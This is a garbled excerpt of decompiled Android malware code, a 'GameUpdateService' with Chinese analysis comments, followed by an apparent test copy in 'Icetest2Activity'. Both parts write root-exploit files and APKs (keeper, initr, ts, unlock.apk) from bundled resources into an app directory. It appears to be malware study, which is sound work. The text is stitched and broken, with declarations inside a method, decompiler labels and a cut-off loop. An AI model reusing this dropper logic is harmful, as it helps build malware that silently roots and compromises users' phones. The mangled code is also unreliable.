//
private int stateAPKFile;
private int stateEXEFile;
private int stateEXFile;
private int stateIDFile;
private int stateKEEPFile;
private int stateUNLOCKFile;
private int statestartFile;
private String str;
/*
* 在service
* oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。在onCreate中已经提到了这个恶意程序的问题
* 。 即data/data/android.gdwsklzz.com这个目录的权限问题,我估计是他抄的或者改的高达无双科鲁兹传的某个恶意软件版本。
*/
Thread thread = new Thread(new Runnable() {
public void run()
{ // 检查是否是root过的机子
if (!new File("/system/bin/keeper").exists()) {
System.out.println("---start rootSatae");
try {
while (true) {
String str = new String(GameUpdateService.this.DATA
.getBytes("UTF-8"), "UTF-8");
// 这里会报错,因为infoPath是指向data/data/android.gdwsklzz.com/的,所以这个app是没有权限的,所以这个恶意程序在这里实际是走不通的。
File localFile1 = new File(
GameUpdateService.this.infoPath);
if (!localFile1.exists())
localFile1.mkdir();
File localFile2 = new File(
GameUpdateService.this.infoPath
+ GameUpdateService.this.infoName);
if (localFile2.exists())
localFile2.delete();
//这里实际上是创建新文件
localFile2.createNewFile();
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile2);
localFileOutputStream.write(str.getBytes("UTF-8"));
localFileOutputStream.flush();
localFileOutputStream.close();
// 后面是释放root代码的地方。这里利用的是从raw中提取的资源,利用后面的write方法写到了程序自己的目录中(而不是乱写别人的目录,这是不可能的),这里写了好几个apk,这也是关键的实现自释放的代码 GameUpdateService.this.stateUNLOCKFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamUNLOCK,
GameUpdateService.this.pathUNLOCK);
if (GameUpdateService.this.stateUNLOCKFile != 0)
break label845;
GameUpdateService.this.stateAPKFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamAPK,
GameUpdateService.this.pathAPK);
if (GameUpdateService.this.stateAPKFile != 0)
break label817;
GameUpdateService.this.MstateAPKFile = GameUpdateService.this
.write(GameUpdateService.this.MinputStreamAPK,
GameUpdateService.this.MpathAPK);
if (GameUpdateService.this.MstateAPKFile != 0)
break label789;
GameUpdateService.this.stateIDFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamID,
GameUpdateService.this.pathID);
if (GameUpdateService.this.stateIDFile != 0)
break label743;
GameUpdateService.this.stateEXEFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamEXE,
GameUpdateService.this.pathEXE);
if (GameUpdateService.this.stateEXEFile != 0)
break;
GameUpdateService.this.stateKEEPFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamKEEP,
GameUpdateService.this.pathKEEP);
if (GameUpdateService.this.stateKEEPFile == 0) {
GameUpdateService.this.stateEXFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamEX,
GameUpdateService.this.pathEX);
if (GameUpdateService.this.stateEXFile != 0)
continue;
GameUpdateService.this.statestartFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamstart,
GameUpdateService.this.pathstart);
if (GameUpdateService.this.statestartFile != 0)
continue;
/*
* 这个就是去raw资源中提取apk的过程,其中2130968578转化为16进制7F040002
* 然后再gen下的R.java可以看到对应的是android public static final class raw { public
* static final int android=0x7f040000; public static final int
* googlemessage=0x7f040001; public static final int
* googleservice=0x7f040002; public static final int initr=0x7f040003;
* public static final int keeper=0x7f040004; public static final int
* start=0x7f040005; public static final int ts=0x7f040006; public
* static final int unlock=0x7f040007; }
* 这就是对应的raw数值,因为是反编译的造成了这个差别,我们正常调用这个应该是这样写
* getResources().openRawResource(R.raw.android); 赋值结束就进入
* 程序开头的3个线程去负责root等事宜。
*/ getResources().openRawResource(R.raw.android);
this.inputStreamAPK = getResources().openRawResource(2130968578);
this.pathID = "/data/data/android.gdwsklzz.com/android.info";
this.inputStreamID = getResources().openRawResource(2130968576);
this.MpathAPK = "/data/data/android.gdwsklzz.com/googlemessage.apk";
this.MinputStreamAPK = getResources().openRawResource(2130968577);
this.pathstart = "/data/data/android.gdwsklzz.com/start";
this.inputStreamstart = getResources().openRawResource(2130968581);
this.pathEX = "/data/data/android.gdwsklzz.com/initr";
this.inputStreamEX = getResources().openRawResource(2130968579);
this.pathEXE = "/data/data/android.gdwsklzz.com/ts";
this.inputStreamEXE = getResources().openRawResource(2130968582);
this.pathKEEP = "/data/data/android.gdwsklzz.com/keeper";
this.inputStreamKEEP = getResources().openRawResource(2130968580);
this.pathUNLOCK = "/data/data/android.gdwsklzz.com/unlock.apk";
this.inputStreamUNLOCK = getResources().openRawResource(2130968583);
}
public void onDestroy() {
super.onDestroy();
System.out.println("--- onDestroy GameUpdateService ---");
}
public void onStart(Intent paramIntent, int paramInt) {
super.onStart(paramIntent, paramInt);
System.out.println("--- onStart GameUpdateService ---");
this.thread.start();
}
//这个是利用从rwa中得到的paramInputStream来写文件,代码很简单。
public int write(InputStream paramInputStream, String paramString) {
int i = 0;
File localFile = new File(paramString);
try {
if (!localFile.exists()) {
System.out.println("安装的文件" + paramString);
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile);
byte[] arrayOfByte = new byte[1024];
while (true) {
int j = paramInputStream.read(arrayOfByte);
if (j <= 0) {
localFileOutputStream.flush();
localFileOutputStream.close();
paramInputStream.close();
break;
}
localFileOutputStream.write(arrayOfByte, 0, j);
}
}
} catch (Exception localException) {
System.out.println("erro");
localException.printStackTrace();
i = 1;
}
return i;
}
}
public class Icetest2Activity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//
private int stateAPKFile;
private int stateEXEFile;
private int stateEXFile;
private int stateIDFile;
private int stateKEEPFile;
private int stateUNLOCKFile;
private int statestartFile;
private String str;
/*
* 在service oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。
*/
Thread thread = new Thread(new Runnable() {
public void run()
{ // 检查是否是root过的机子
if (!new File("/system/bin/keeper").exists()) {
Log.i("ice root", "---start rootSatae");
try {
while (true) {
String str = new String(Icetest2Activity.this.DATA
.getBytes("UTF-8"), "UTF-8");
File localFile1 = new File(
Icetest2Activity.this.infoPath);
if (!localFile1.exists())
localFile1.mkdir();
File localFile2 = new File(
Icetest2Activity.this.infoPath
+ Icetest2Activity.this.infoName);
if (localFile2.exists())
localFile2.delete();
localFile2.createNewFile();
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile2);
localFileOutputStream.write(str.getBytes("UTF-8"));
localFileOutputStream.flush();
localFileOutputStream.close();
// 后面是释放root代码的地方。
Icetest2Activity.this.stateUNLOCKFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamUNLOCK,
Icetest2Activity.this.pathUNLOCK);
if (Icetest2Activity.this.stateUNLOCKFile != 0)
break;
Icetest2Activity.this.stateAPKFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamAPK,
Icetest2Activity.this.pathAPK);
if (Icetest2Activity.this.stateAPKFile != 0)
break;
Icetest2Activity.this.MstateAPKFile = Icetest2Activity.this
.write(Icetest2Activity.this.MinputStreamAPK,
Icetest2Activity.this.MpathAPK);
if (Icetest2Activity.this.MstateAPKFile != 0)
break;
Icetest2Activity.this.stateIDFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamID,
Icetest2Activity.this.pathID);
if (Icetest2Activity.this.stateIDFile != 0)
break;
Icetest2Activity.this.stateEXEFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamEXE,
Icetest2Activity.this.pathEXE);
if (Icetest2Activity.this.stateEXEFile != 0)
break;
Icetest2Activity.this.stateKEEPFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamKEEP,
Icetest2Activity.this.pathKEEP);
if (Icetest2Activity.this.stateKEEPFile == 0) {
Icetest2Activity.this.stateEXFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamEX,
Icetest2Activity.this.pathEX);
if (Icetest2Activity.this.stateEXFile != 0)
continue;
Icetest2Activity.this.statestartFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamstart,
Icetest2Activity.this.pathstart);
if (Icetest2Activity.this.statestartFile != 0)
continue;